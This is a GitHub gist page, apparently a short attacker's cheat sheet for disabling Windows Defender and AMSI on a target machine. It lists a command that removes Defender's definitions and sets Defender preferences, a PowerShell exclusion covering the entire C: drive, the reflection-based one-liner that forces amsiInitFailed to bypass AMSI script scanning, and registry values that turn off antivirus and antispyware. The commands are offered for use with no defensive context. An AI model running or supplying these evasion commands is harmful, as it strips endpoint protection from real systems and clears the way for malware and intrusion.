Skip to content

Instantly share code, notes, and snippets.

@fiercebrute

fiercebrute/windows defender & amsi

Last active December 12, 2019 04:51
Show Gist options
  • Save fiercebrute/01d864c44786bdfd6734bfe8fd2009a1 to your computer and use it in GitHub Desktop.
Save fiercebrute/01d864c44786bdfd6734bfe8fd2009a1 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
windows defender & amsi
Disable defender
"c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableOAVProtection $true
powershell.exe -noprofile -command QUOTED_COMMAND
Ignore malware
'Add-MpPreference -ExclusionPath "c:\"'
Disable AMSI (powershell detection)
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
Registry (Admin rights)
\\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender, DisableAntiSpyware and DisableAntiVirus from 0 to 1.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment